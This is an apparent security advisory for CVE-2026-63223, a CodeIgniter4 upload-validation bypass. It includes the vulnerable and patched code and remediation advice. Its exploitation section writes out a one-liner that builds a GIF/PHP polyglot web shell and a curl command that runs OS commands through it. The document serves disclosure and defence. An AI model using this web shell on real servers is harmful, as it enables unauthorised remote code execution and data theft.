CVE-2026-63223: Unrestricted File Upload leading to Remote Code Execution in CodeIgniter4

CodeIgniter4 is a widely used PHP full-stack web framework that implements validation rules for handling incoming HTTP requests. A critical vulnerability, designated as CVE-2026-63223, exists in versions prior to v4.7.4. The vulnerability involves the unrestricted upload of files with dangerous types (CWE-434), arising from a validation bypass in the default image and MIME-type verification routines.

Historically, web developers have relied on framework-provided helpers such as is_image and mime_in to guarantee that uploaded files are safe. However, in vulnerable configurations, these rules only verify the content headers or magic bytes of the file. They fail to cross-reference the actual client-supplied filename extension with the verified content type.

This gap in security verification exposes a significant attack surface when application logic preserves the original filename and writes uploads directly into a web-accessible, script-enabled directory. If an attacker uploads a polyglot file (a valid image file containing embedded executable code) with a .php extension, the framework accepts the upload, allowing the file to be executed on the server.

The root cause of CVE-2026-63223 is a structural disconnect in the validation library located at system/Validation/StrictRules/FileRules.php. Specifically, the is_image and mime_in rules execute validation based purely on the file content's characteristics rather than a unified check on both the extension and the content.

When a file is uploaded, the framework utilizes PHP's internal fileinfo extension to analyze the file's magic bytes. The is_image rule retrieves this content-derived extension using the $file->getExtension() method. For example, if a file starts with the binary sequence GIF89a, the framework identifies its mime type as image/gif and assumes the file is a standard GIF image.

Because the validator focuses entirely on the magic bytes, it does not confirm if the actual client-provided filename ends with an authorized extension like .gif or .png. Consequently, a file named shell.php containing a valid image header will successfully pass both the is_image and mime_in validation filters. This behavior violates the principle of complete mediation, where every access or input must be checked against all safety criteria before storage.

An inspection of the codebase in version 4.7.3 reveals how the validation rules were structured prior to the patch. The vulnerable is_image function retrieves the derived extension directly and queries the Mimes helper without assessing the actual client-supplied name:

// Vulnerable Code Path (Pre-v4.7.4)
public function is_image(?string $blank, string $params): bool
{
    // ...
    // Retrieves extension strictly from content magic bytes
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    
    if (mb_strpos($type, 'image') !== 0) {
        return false;
    }
    return true;
}

In the official security patch (b6e9a4fa1dca2df3d3f261bdf61532df8c6420aa), the CodeIgniter development team introduced explicit validation checks to reject files where the client-supplied extension does not match the content-derived type. The helper function hasInvalidImageClientExtension was added to verify the extension mismatch:

// Patched Code Path (v4.7.4)
public function is_image(?string $blank, string $params): bool
{
    // ...
    if (mb_strpos($type, 'image') !== 0) {
        return false;
    }
 
    // Reject file if the client-supplied extension is not an image type
    if ($this->hasInvalidImageClientExtension($file)) {
        return false;
    }
 
    return true;
}
 
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
 
    if ($clientExtension === '') {
        return false;
    }
 
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
 
    return mb_strpos($type, 'image') !== 0;
}

Similarly, the mime_in rule was patched to invoke hasMismatchedClientExtension(), which compares the client extension against $file->guessExtension(). This ensures that even if a payload contains a valid image header, any mismatch with the client-supplied .php extension will result in immediate rejection.

Exploitation of CVE-2026-63223 requires specific target environment properties. First, the application must configure file uploads using the weak is_image or mime_in rules without additional validations such as ext_in. Second, the controller must write the file to a public directory using the client-provided name (e.g., via $file->getClientName()). Third, the underlying web server must be configured to pass requests in that directory to a PHP interpreter.

To conduct the attack, an operator crafts an image-PHP polyglot file. This file begins with legitimate image signature headers to satisfy the magic-byte checks of the web server and PHP's fileinfo. Immediately following the header, the payload embeds PHP script instructions:

# Craft the Polyglot Web Shell Payload
python3 -c "import sys; php = b'<?php system(\\\$_GET[\"cmd\"]); ?>'; sys.stdout.buffer.write(b'GIF89a\\n' + php)" > evil.php

The operator then submits a multipart POST request with the file. Because the file starts with GIF89a, the framework validates it as an image. The target script is saved to disk as evil.php. When the operator sends an HTTP GET request to the uploaded file, the web server executes the embedded PHP code:

# Trigger execution of OS commands via web shell
curl http://target-domain.com/uploads/evil.php?cmd=id

The security impact of CVE-2026-63223 is rated Critical, with a CVSS v3.1 base score of 9.8. Because exploitation requires no prior authentication and minimum interaction, any external actor can achieve unauthenticated remote code execution. This level of compromise grants the attacker the execution privileges of the web server process (e.g., www-data or nginx).

Once code execution is obtained, the attacker can perform local reconnaissance, access application databases, read sensitive environment variables (such as API keys and database credentials), and escalate privileges. If the host container or server is poorly isolated, this access can serve as a pivot point for lateral movement into internal networks.

While this vulnerability is not currently listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, the release of public Proof-of-Concept tools significantly increases the risk of active exploitation. Organizations utilizing CodeIgniter4 must audit upload handlers immediately to mitigate potential damage.

The primary remediation path is upgrading the CodeIgniter4 framework to version 4.7.4 or later. This version enforces strict client-extension matching within the is_image and mime_in validation rules, resolving the vulnerability's root cause.

If an immediate framework upgrade is not feasible, developers must configure a defense-in-depth workaround. This is accomplished by appending the ext_in validation rule to restrict accepted file suffixes:

// Remediated Validation Configuration Workaround
$rules = [
    'avatar' => 'is_image[avatar]|ext_in[avatar,png,jpg,jpeg,gif]'
];

In addition to validation controls, standard secure file storage practices should be enforced. Uploaded filenames should be randomized using $file->getRandomName() to prevent direct path mapping, and files must be saved outside the web root (e.g., in a private directory or remote cloud storage bucket). Finally, execute permissions should be explicitly disabled within the public upload directories using web server configuration files (such as .htaccess rules for Apache or directory-level execution blocks in Nginx).